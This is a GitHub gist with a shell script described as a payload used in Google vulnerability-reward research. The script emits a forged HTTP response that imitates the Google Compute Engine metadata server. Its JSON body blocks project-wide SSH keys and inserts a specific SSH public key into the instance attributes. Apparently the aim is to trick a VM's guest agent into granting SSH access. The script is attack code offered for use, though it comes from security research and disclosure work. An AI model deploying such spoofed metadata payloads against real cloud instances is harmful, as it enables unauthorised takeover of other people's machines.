Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Payload script used for Google VRP research
#!/bin/sh
DATA='{"instance":{"attributes":{"block-project-ssh-keys":"true","ssh-keys":"wouter:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEOmMYcHZJNm9v1IDFItNEVAJs7apmJjsT9z4AVzwyzn1zj8oovlWHlxCBnZZQbLucGYyH60v9TTuPOXx7ZYXwl35cOCfkMqBnqLWXNeSeUOqo1NPO55W2LLt9/TJb6UjCbUs9Jel7Eyc5kdD88ZkQnZ6GGj27Xfye8m6WGqBYvpzttFHSY72/4wnypuchaim46N5ivtK1G3ny9Wuc0GQzvAPjd6JsYzUBqoD80Ca2s4RXDSKWZ3rtE+qfauJNbklkkPgYGQXNYR8W1Nhvn219T3GPPpEcNY/Ddb3JRpREsPPTN0wYPCxKuPs9SwA6OrJHN/bbAwbTd/Ru80NtEcodtmuCM3n8yxtldLeOluFjfvmuWy2n81J+BuYQncGsTynJ56CpvY3ownalvpidWPP7kk+G1bGXMGiwOdm8L6W9ZMi8uCjyM8jp2QusPToDVPt5qA6FRXQh+FqxDfTV2pwGRZ4B9VtH5D0wuhpDze3TmlCC0uYzeysfGGLK1FSRu3E= ezequiel@ezequiel-lenovo"},"cpuPlatform":"Intel Skylake","description":"","disks":[{"deviceName":"instance","index":0,"mode":"READ_WRITE","type":"PERSISTENT"}],"guestAttributes":{},"hostname":"instance.c.fake-project.internal","id":0000000000000000000,"image":"projects/debian-cloud/global/images/debian-9-stretch-v20200309","legacyEndpointAccess":{"0.1":2,"v1beta1":2},"licenses":[{"id":"1000205"}],"machineType":"projects/000000000000/machineTypes/n1-standard-16","maintenanceEvent":"NONE","name":"instance","networkInterfaces":[{"accessConfigs":[{"externalIp":"0.0.0.0","type":"ONE_TO_ONE_NAT"}],"dhcpv6Refresh":"14763894025597976377","dnsServers":["169.254.169.254"],"forwardedIps":[],"gateway":"10.128.0.1","ip":"10.128.0.2","ipAliases":[],"ipv6s":["::"],"mac":"00:00:00:00:00:00","mtu":1460,"network":"projects/000000000000/networks/default","subnetmask":"255.255.240.0","targetInstanceIps":[]}],"preempted":"FALSE","remainingCpuTime":-1,"scheduling":{"automaticRestart":"TRUE","onHostMaintenance":"MIGRATE","preemptible":"FALSE"},"serviceAccounts":{"default":{"aliases":["default"],"email":"fake-project@appspot.gserviceaccount.com","scopes":["https://www.googleapis.com/auth/cloud-platform"]},"fake-project@appspot.gserviceaccount.com":{"aliases":["default"],"email":"fake-project@appspot.gserviceaccount.com","scopes":["https://www.googleapis.com/auth/cloud-platform"]}},"tags":["http-server","https-server","mysql"],"virtualClock":{"driftToken":"0"},"zone":"projects/000000000000/zones/us-central1-a"},"oslogin":{"authenticate":{"sessions":{}}},"project":{"attributes":{},"numericProjectId":000000000000,"projectId":"fake-project"}}'
LANG=C LC_ALL=C
CONTENT_LENGTH=${#DATA}
printf "HTTP/1.1 200 OK\r\n"
printf "Metadata-Flavor: Google\r\n"
printf "Content-Type: application/json\r\n"
printf "ETag: $1\r\n"
printf "Content-Encoding: identity\r\n"
printf "Date: Sat, 02 May 2020 16:34:01 GMT\r\n"
printf "Server: Metadata Server for VM\r\n"
printf "Cache-Control: private\r\n"
printf "Content-Length: $CONTENT_LENGTH\r\n"
printf "X-XSS-Protection: 0\r\n"
printf "X-Frame-Options: SAMEORIGIN\r\n"
printf "\r\n"
printf "$DATA\r\n"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.